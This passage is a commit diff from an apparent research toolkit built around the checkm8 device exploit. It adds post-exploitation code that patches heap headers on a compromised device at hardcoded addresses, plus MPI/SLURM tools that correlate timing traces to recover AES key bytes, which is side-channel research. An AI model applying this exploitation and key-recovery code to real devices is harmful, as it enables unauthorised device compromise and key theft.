Compare commits
10 Commits
0320e5cea7
...
621debcea3
| Author | SHA1 | Date | |
|---|---|---|---|
| 621debcea3 | |||
| d77df9b994 | |||
| e844e2df34 | |||
| 4b361cccea | |||
| 4de34e213e | |||
| c058278f6f | |||
| 0a00de38a5 | |||
| 77641d45be | |||
| 55c1f08046 | |||
| 662c228b7e |
3
.gitignore
vendored
3
.gitignore
vendored
@@ -1,9 +1,10 @@
|
||||
# configuration files
|
||||
.idea/*
|
||||
data/
|
||||
|
||||
# build directories
|
||||
cmake-build-debug/
|
||||
/c8_arduino/cmake-build-debug/
|
||||
|
||||
# generated files
|
||||
/c8_remote/include/tool/libpayload.h
|
||||
/c8_remote/include/tool/libpayload.h
|
||||
|
||||
@@ -2,10 +2,10 @@ cmake_minimum_required(VERSION 3.10)
|
||||
project(checkm8_tool)
|
||||
enable_language(C ASM)
|
||||
|
||||
include(${CMAKE_ROOT}/Modules/ExternalProject.cmake)
|
||||
|
||||
include_directories(c8_remote/include)
|
||||
include_directories(include)
|
||||
|
||||
add_subdirectory(c8_remote/lib)
|
||||
# set up checkm8_remote
|
||||
add_subdirectory(c8_remote)
|
||||
|
||||
# targets for external tools
|
||||
add_subdirectory(tools)
|
||||
@@ -5,6 +5,7 @@ set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS "-g -Wall")
|
||||
|
||||
include_directories(include)
|
||||
add_subdirectory(lib)
|
||||
|
||||
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
|
||||
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
|
||||
|
||||
@@ -40,6 +40,10 @@
|
||||
#define ADDR_DEV_MEMALIGN 0x10000f380
|
||||
#define ADDR_DEV_FREE 0x10000f1b0
|
||||
|
||||
#define ADDR_HEAP_COOKIE 0x180080640
|
||||
#define ADDR_HEAP_BASE 0x1801b4000
|
||||
#define ADDR_HEAP_END 0x1801fffc0
|
||||
|
||||
/* Misc */
|
||||
#define ADDR_RANDOM_RET 0x10000b924
|
||||
#define ADDR_SYNC_ENTRY 0x1800afc84
|
||||
|
||||
@@ -12,11 +12,26 @@ struct event
|
||||
struct aes_constants
|
||||
{
|
||||
unsigned char sbox[16][16];
|
||||
unsigned char rc_lookup[11];
|
||||
unsigned char mul2[256];
|
||||
unsigned char mul3[256];
|
||||
unsigned char rc_lookup[11];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct heap_header
|
||||
{
|
||||
unsigned long long chksum;
|
||||
unsigned long long pad[3];
|
||||
|
||||
unsigned long long curr_size;
|
||||
unsigned long long curr_free : 1;
|
||||
|
||||
unsigned long long prev_free : 1;
|
||||
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
|
||||
|
||||
unsigned long long pad_start;
|
||||
unsigned long long pad_end;
|
||||
} header;
|
||||
|
||||
struct bern_data
|
||||
{
|
||||
double t[16][256];
|
||||
|
||||
@@ -23,8 +23,6 @@ static const unsigned char sbox[256] =
|
||||
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
|
||||
};
|
||||
|
||||
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
|
||||
|
||||
static const unsigned char mul2_lookup[256] =
|
||||
{
|
||||
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
|
||||
@@ -65,14 +63,16 @@ static const unsigned char mul3_lookup[256] =
|
||||
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
|
||||
};
|
||||
|
||||
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
|
||||
|
||||
struct aes_constants *get_constants()
|
||||
{
|
||||
struct aes_constants *res = malloc(sizeof(struct aes_constants));
|
||||
|
||||
memcpy(res->sbox, sbox, sizeof(sbox));
|
||||
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
|
||||
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
|
||||
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
|
||||
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
|
||||
|
||||
return res;
|
||||
}
|
||||
@@ -4,6 +4,7 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <math.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "dev/types.h"
|
||||
#include "util/experiments.h"
|
||||
@@ -13,6 +14,7 @@
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <execinfo.h>
|
||||
#include <dev/addr.h>
|
||||
|
||||
#endif
|
||||
|
||||
@@ -106,12 +108,26 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
|
||||
unsigned char key[16];
|
||||
unsigned char key_sched[176];
|
||||
|
||||
sprintf(dat_fname, "KEY");
|
||||
outfile = fopen(dat_fname, "w+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open key file\n");
|
||||
return;
|
||||
}
|
||||
|
||||
srand(time(NULL));
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
msg[i] = 0;
|
||||
key[i] = 0x0;
|
||||
key[i] = random();
|
||||
fprintf(outfile, "%02x", key[i]);
|
||||
}
|
||||
|
||||
fprintf(outfile, "\n");
|
||||
fflush(outfile);
|
||||
fclose(outfile);
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
addr_async_buf = setup_corr_exp(dev, key);
|
||||
@@ -121,7 +137,7 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
|
||||
while(1)
|
||||
{
|
||||
sprintf(dat_fname, "%s_%i.bin", fname, iter);
|
||||
outfile = fopen(dat_fname, "wb");
|
||||
outfile = fopen(dat_fname, "wb+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open outfile\n");
|
||||
@@ -160,24 +176,37 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
|
||||
|
||||
fclose(outfile);
|
||||
iter++;
|
||||
if(iter == 46) break;
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
struct pwned_device *dev = exploit_device();
|
||||
|
||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
{
|
||||
printf("Failed to exploit device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
fix_heap(dev);
|
||||
demote_device(dev);
|
||||
open_device_session(dev);
|
||||
|
||||
run_corr_exp(dev, "key00");
|
||||
demote_device(dev);
|
||||
fix_heap(dev);
|
||||
usb_task_exit(dev);
|
||||
|
||||
close_device_session(dev);
|
||||
|
||||
|
||||
// run_corr_exp(dev, "key00");
|
||||
//
|
||||
// uninstall_all_data(dev);
|
||||
// uninstall_all_payloads(dev);
|
||||
//
|
||||
// // crash!
|
||||
// execute_gadget(dev, 0, 0, 0);
|
||||
free_device(dev);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -398,37 +398,118 @@ int demote_device(struct pwned_device *dev)
|
||||
int fix_heap(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
||||
int close;
|
||||
struct heap_header block;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long calc_args[5];
|
||||
int ret, i;
|
||||
|
||||
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
|
||||
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
|
||||
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
|
||||
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
|
||||
|
||||
if(is_device_session_open(dev)) close = 0;
|
||||
else
|
||||
memset(&block, 0, sizeof(struct heap_header));
|
||||
block.curr_size = (0x80 / 0x40);
|
||||
block.pad_start = 0x80;
|
||||
|
||||
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||
//calc_args[1-2] block specific
|
||||
calc_args[3] = 32;
|
||||
calc_args[4] = ADDR_HEAP_COOKIE;
|
||||
|
||||
for(i = 0; i < 3; i++)
|
||||
{
|
||||
close = 1;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
block.prev_size = prev_sizes[i];
|
||||
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
checkm8_debug_indent("\tfailed to write block %i header\n", i);
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
|
||||
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
|
||||
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
|
||||
calc_args[0] = ADDR_CHECK_ALL_CHKSUMS;
|
||||
dev_exec(dev, 0, 1, calc_args);
|
||||
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||
|
||||
dev_exec(dev, 0, 5, calc1_args);
|
||||
dev_exec(dev, 0, 5, calc2_args);
|
||||
dev_exec(dev, 0, 5, calc3_args);
|
||||
unsigned long long curr = ADDR_HEAP_BASE;
|
||||
while(1)
|
||||
{
|
||||
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
|
||||
memcpy(&block, resp->data, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(close) close_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
|
||||
return ret;
|
||||
}
|
||||
|
||||
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
|
||||
{
|
||||
block.curr_size -= 1;
|
||||
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
block.prev_free = block.curr_free;
|
||||
block.prev_size = block.curr_size;
|
||||
block.curr_free = 0;
|
||||
block.curr_size = 1;
|
||||
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
|
||||
(unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write last block header\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
|
||||
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
|
||||
calc_args[3] = 32;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
curr += block.curr_size * 0x40;
|
||||
}
|
||||
|
||||
#else
|
||||
#error "Can't fix heap for unknown platform"
|
||||
|
||||
14
tools/CMakeLists.txt
Normal file
14
tools/CMakeLists.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
project(tools C)
|
||||
|
||||
set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS "-g -Wall -fopenmp")
|
||||
|
||||
include_directories(include)
|
||||
|
||||
add_executable(tool_strip correlation/strip/main.c)
|
||||
add_executable(tool_analyze correlation/analyze/main.c)
|
||||
add_executable(tool_verify correlation/verify/main.c)
|
||||
|
||||
target_link_libraries(tool_analyze host_crypto mpi m)
|
||||
target_link_libraries(tool_verify host_crypto m)
|
||||
35
tools/correlation/analyze/analyze.sh
Normal file
35
tools/correlation/analyze/analyze.sh
Normal file
@@ -0,0 +1,35 @@
|
||||
#!/bin/bash
|
||||
|
||||
#SBATCH -J correlate
|
||||
#SBATCH -o corr.%j.out
|
||||
#SBATCH -N 8
|
||||
#SBATCH -n 8
|
||||
#SBATCH -t 01:30:00
|
||||
#SBATCH -p broadwell
|
||||
|
||||
NODEFILE=nodefile.txt
|
||||
rank=0
|
||||
|
||||
echo $SLURM_NODELIST | tr -d c | tr -d [ | tr -d ] | perl -pe 's/(\d+)-(\d+)/join(",",$1..$2)/eg' | awk 'BEGIN { RS=","} { print "c"$1 }' > $NODEFILE
|
||||
|
||||
for node in `cat $NODEFILE`; do
|
||||
ssh -n $node "[[ ! -f /tmp/ghaas/KEY ]] || mkdir -p /tmp/ghaas/ && tar -xf /home/ghaas/correlate/data00.tar.gz -C /tmp/ghaas" & pid[$rank]=$!
|
||||
(( rank++ ))
|
||||
done
|
||||
|
||||
rank=0
|
||||
for node in `cat $NODEFILE`; do
|
||||
echo "waiting on" $rank
|
||||
wait ${pid[$rank]}
|
||||
(( rank++ ))
|
||||
done
|
||||
|
||||
prun ./analyze /tmp/ghaas
|
||||
|
||||
rank=0
|
||||
for node in `cat $NODEFILE`; do
|
||||
ssh -n $node "rm -r /tmp/ghaas" & pid[$rank]=$!
|
||||
(( rank++ ))
|
||||
done
|
||||
|
||||
rm $NODEFILE
|
||||
323
tools/correlation/analyze/main.c
Normal file
323
tools/correlation/analyze/main.c
Normal file
@@ -0,0 +1,323 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <math.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <mpich/mpi.h>
|
||||
#include <omp.h>
|
||||
#include "host_crypto.h"
|
||||
|
||||
#define N_FILES 48
|
||||
#define N_NODES 8
|
||||
#define FILE_PER_NODE (N_FILES / N_NODES)
|
||||
#define MSG_SEPARATE 1024 * 256
|
||||
|
||||
#define ANALYZE_DEBUG 1
|
||||
|
||||
int read_data(unsigned char *dst, char *fname, unsigned int offset, unsigned int num)
|
||||
{
|
||||
unsigned long ret;
|
||||
FILE *datafile = fopen(fname, "rb");
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("read_data(dst = %p, fname = %s, offset = %i, num = %i)\n", dst, fname, offset, num);
|
||||
|
||||
if(datafile == NULL)
|
||||
{
|
||||
printf("failed to open datafile %s\n", fname);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ret = fread(&dst[offset], 1, num, datafile);
|
||||
if(ret != num)
|
||||
{
|
||||
printf("reading %s failed with ferror %i, feof %i\n",
|
||||
fname, ferror(datafile), feof(datafile));
|
||||
return -1;
|
||||
}
|
||||
|
||||
fclose(datafile);
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct summary_stats
|
||||
{
|
||||
double mean;
|
||||
double stddev;
|
||||
};
|
||||
|
||||
struct summary_stats *calculate_stats(unsigned char *data,
|
||||
unsigned int len, int mul, int offset,
|
||||
int rank, int nodes)
|
||||
{
|
||||
int i;
|
||||
double mean = 0, stddev = 0, temp;
|
||||
|
||||
struct summary_stats *res;
|
||||
MPI_Status status;
|
||||
|
||||
/*
|
||||
* First calculate the mean
|
||||
*/
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(len, mul, offset) \
|
||||
shared(data) \
|
||||
reduction(+:mean)
|
||||
for(i = 0; i < len; i++)
|
||||
mean += (double) data[mul * i + offset];
|
||||
|
||||
if(rank == 0)
|
||||
{
|
||||
for(i = 1; i < nodes; i++)
|
||||
{
|
||||
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
|
||||
mean += temp;
|
||||
}
|
||||
|
||||
mean /= (len * nodes);
|
||||
for(i = 1; i < nodes; i++)
|
||||
MPI_Send(&mean, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
|
||||
}
|
||||
else
|
||||
{
|
||||
MPI_Sendrecv_replace(&mean, 1, MPI_DOUBLE,
|
||||
0, 0, 0, 0,
|
||||
MPI_COMM_WORLD, &status);
|
||||
}
|
||||
|
||||
/*
|
||||
* Then the standard deviation
|
||||
*/
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(len, mul, offset, mean) \
|
||||
shared(data) \
|
||||
reduction(+:stddev)
|
||||
for(i = 0; i < len; i++)
|
||||
stddev += pow(data[mul * i + offset] - mean, 2);
|
||||
|
||||
if(rank == 0)
|
||||
{
|
||||
for(i = 1; i < nodes; i++)
|
||||
{
|
||||
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
|
||||
stddev += temp;
|
||||
}
|
||||
|
||||
stddev = sqrt(stddev / (len * nodes));
|
||||
for(i = 1; i < nodes; i++)
|
||||
MPI_Send(&stddev, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
|
||||
}
|
||||
else
|
||||
{
|
||||
PMPI_Sendrecv_replace(&stddev, 1, MPI_DOUBLE,
|
||||
0, 0, 0, 0,
|
||||
MPI_COMM_WORLD, &status);
|
||||
}
|
||||
|
||||
res = malloc(sizeof(struct summary_stats));
|
||||
res->mean = mean;
|
||||
res->stddev = stddev;
|
||||
return res;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int i, j;
|
||||
unsigned int i_byte, i_input, i_key, i_key_split;
|
||||
unsigned int trace_per_file = 0, msg_per_file = 0, num_traces = 0;
|
||||
int rank, nodes;
|
||||
|
||||
char timing_name[256], msg_name[256];
|
||||
struct stat timing_finfo, msg_finfo;
|
||||
|
||||
FILE *keyfile;
|
||||
struct aes_constants *c;
|
||||
unsigned char key[16], key_sched[176], msg_new[16], key_hyp;
|
||||
|
||||
double cov, pearson, temp;
|
||||
struct summary_stats *timing_stats, *model_stats;
|
||||
unsigned char *msg = NULL, *timings = NULL, *model = NULL;
|
||||
|
||||
MPI_Status status;
|
||||
|
||||
if(argc != 2)
|
||||
{
|
||||
printf("usage: analyze [data dir]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
* First, read in the data from each file
|
||||
*/
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("initializing MPI\n");
|
||||
|
||||
MPI_Init(&argc, &argv);
|
||||
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
|
||||
MPI_Comm_size(MPI_COMM_WORLD, &nodes);
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("getting initial sizes\n");
|
||||
|
||||
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank);
|
||||
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank);
|
||||
|
||||
if(stat(timing_name, &timing_finfo) != 0)
|
||||
{
|
||||
printf("failed to stat %s\n", timing_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(stat(msg_name, &msg_finfo) != 0)
|
||||
{
|
||||
printf("failed to stat %s\n", msg_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
trace_per_file = timing_finfo.st_size;
|
||||
msg_per_file = msg_finfo.st_size / 16;
|
||||
num_traces = trace_per_file * FILE_PER_NODE;
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("%i traces per file, %i msgs per file, %i total traces\n",
|
||||
trace_per_file, msg_per_file, num_traces);
|
||||
|
||||
sprintf(timing_name, "%s/KEY", argv[1]);
|
||||
keyfile = fopen(timing_name, "r");
|
||||
if(keyfile == NULL)
|
||||
{
|
||||
printf("failed to open key file\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
fread(key_sched, 1, 2, keyfile);
|
||||
key_sched[2] = 0;
|
||||
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
|
||||
}
|
||||
|
||||
fclose(keyfile);
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("allocating memory\n");
|
||||
|
||||
// allocate memory (big!)
|
||||
model = malloc(64 * num_traces);
|
||||
msg = malloc(16 * num_traces);
|
||||
timings = malloc(num_traces);
|
||||
|
||||
c = get_constants();
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("beginning data read stage\n");
|
||||
|
||||
for(i = 0; i < FILE_PER_NODE; i++)
|
||||
{
|
||||
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
|
||||
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
|
||||
|
||||
read_data(timings, timing_name, trace_per_file * (i % FILE_PER_NODE), trace_per_file);
|
||||
read_data(msg, msg_name, msg_per_file * (i % FILE_PER_NODE), msg_per_file);
|
||||
}
|
||||
|
||||
/*
|
||||
* Then expand the messages so that we can create power models
|
||||
*/
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("beginning data expand stage\n");
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(key_sched, msg_per_file) \
|
||||
private(msg_new, j) \
|
||||
shared(msg, c)
|
||||
for(i = 0; i < FILE_PER_NODE * msg_per_file; i++)
|
||||
{
|
||||
memcpy(&msg[i * MSG_SEPARATE], &msg[i], 16);
|
||||
memcpy(msg_new, &msg[i * MSG_SEPARATE], 16);
|
||||
|
||||
for(j = 0; j < MSG_SEPARATE - 1; j++)
|
||||
{
|
||||
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
|
||||
memcpy(&msg[i * MSG_SEPARATE + j + 1], msg_new, 16);
|
||||
}
|
||||
|
||||
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
if(msg_new[j] != msg[(i + 1) * MSG_SEPARATE - 16 + j])
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Start iterating through the byte positions
|
||||
*/
|
||||
|
||||
timing_stats = calculate_stats(timings, num_traces, 1, 0, rank, nodes);
|
||||
for(i_byte = 0; i_byte < 16; i_byte++)
|
||||
{
|
||||
for(i_key_split = 0; i_key_split < 4; i_key_split++)
|
||||
{
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(i_key_split, i_byte, num_traces) \
|
||||
private(key_hyp, i_input) \
|
||||
shared(model, msg) \
|
||||
|
||||
for(i_key = 0; i_key < 64; i_key++)
|
||||
{
|
||||
key_hyp = 4 * i_key_split + i_key;
|
||||
for(i_input = 0; i_input < num_traces; i_input++)
|
||||
{
|
||||
//TODO: power model if this doesn't work
|
||||
model[i_key * num_traces + i_input] = (msg[i_input * 16 + i_byte] ^ key_hyp) % 64;
|
||||
}
|
||||
}
|
||||
|
||||
for(i_key = 0; i_key < 64; i_key++)
|
||||
{
|
||||
model_stats = calculate_stats(model, num_traces, 1, i_key * num_traces, rank, nodes);
|
||||
cov = 0;
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(num_traces, i_key) \
|
||||
shared(model, model_stats, timings, timing_stats) \
|
||||
reduction(+:cov)
|
||||
|
||||
for(i_input = 0; i_input < num_traces; i_input++)
|
||||
{
|
||||
cov += (model[i_key * num_traces + i_input] - model_stats->mean) *
|
||||
(timings[i_input] - timing_stats->mean);
|
||||
}
|
||||
|
||||
if(rank == 0)
|
||||
{
|
||||
for(i = 1; i < nodes; i++)
|
||||
{
|
||||
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
|
||||
cov += temp;
|
||||
}
|
||||
|
||||
cov /= (num_traces * nodes);
|
||||
pearson = cov / (model_stats->stddev * timing_stats->stddev);
|
||||
|
||||
printf("%i\t%i\t%i\t%f\n", i_byte, i_key_split, i_key, pearson);
|
||||
}
|
||||
else
|
||||
{
|
||||
MPI_Send(&cov, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
free(timing_stats);
|
||||
}
|
||||
83
tools/correlation/strip/main.c
Normal file
83
tools/correlation/strip/main.c
Normal file
@@ -0,0 +1,83 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <libgen.h>
|
||||
|
||||
struct entry
|
||||
{
|
||||
unsigned char msg[16];
|
||||
unsigned char pad0;
|
||||
|
||||
unsigned char timing;
|
||||
unsigned char pad1[2];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
FILE *infile, *timingfile, *msgfile;
|
||||
char fname[128], c1[128], c2[128], *path, *name;
|
||||
|
||||
strcpy(c1, argv[1]);
|
||||
strcpy(c2, argv[1]);
|
||||
|
||||
int count = 0;
|
||||
unsigned long read;
|
||||
struct entry e;
|
||||
|
||||
if(argc != 2)
|
||||
{
|
||||
printf("usage: strip [fname]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
path = dirname(c1);
|
||||
name = basename(c2);
|
||||
|
||||
infile = fopen(argv[1], "rb");
|
||||
if(infile == NULL)
|
||||
{
|
||||
printf("failed to open file %s\n", argv[1]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(fname, "%s/timing_%s", path, name);
|
||||
timingfile = fopen(fname, "wb");
|
||||
if(timingfile == NULL)
|
||||
{
|
||||
printf("failed to open timing output\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(fname, "%s/msg_%s", path, name);
|
||||
msgfile = fopen(fname, "wb");
|
||||
if(msgfile == NULL)
|
||||
{
|
||||
printf("failed to open message output\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
while(!(ferror(infile) || feof(infile)))
|
||||
{
|
||||
read = fread(&e, sizeof(struct entry), 1, infile);
|
||||
if(read != 1)
|
||||
break;
|
||||
|
||||
fwrite(&e.timing, 1, 1, timingfile);
|
||||
if(count % (1024 * 256) == 0)
|
||||
{
|
||||
fwrite(&e.msg, 16, 1, msgfile);
|
||||
printf("stripped %i entries\n", count);
|
||||
}
|
||||
|
||||
count++;
|
||||
}
|
||||
|
||||
printf("strip finished with ferror %i feof %i\n", ferror(infile), feof(infile));
|
||||
|
||||
fflush(timingfile);
|
||||
fflush(msgfile);
|
||||
|
||||
fclose(infile);
|
||||
fclose(timingfile);
|
||||
fclose(msgfile);
|
||||
return 0;
|
||||
}
|
||||
147
tools/correlation/verify/main.c
Normal file
147
tools/correlation/verify/main.c
Normal file
@@ -0,0 +1,147 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <math.h>
|
||||
|
||||
#include "host_crypto.h"
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int b, i, j, k, l, num;
|
||||
|
||||
unsigned char timing;
|
||||
unsigned char msg[16];
|
||||
unsigned char key[16];
|
||||
unsigned char key_sched[176];
|
||||
struct aes_constants *c;
|
||||
|
||||
double t[16][256];
|
||||
double tsq[16][256];
|
||||
double tnum[16][256];
|
||||
double u[16][256];
|
||||
double udev[16][256];
|
||||
double taverage;
|
||||
unsigned long long count = 0, ttotal = 0;
|
||||
|
||||
FILE *keyfile, *msgfile, *timefile, *outfile;
|
||||
char timing_name[256], msg_name[256], linebuf[256];
|
||||
|
||||
if(argc != 2)
|
||||
{
|
||||
printf("usage: verify [data dir]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(timing_name, "%s/KEY", argv[1]);
|
||||
keyfile = fopen(timing_name, "r");
|
||||
if(keyfile == NULL)
|
||||
{
|
||||
printf("failed to open key file\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
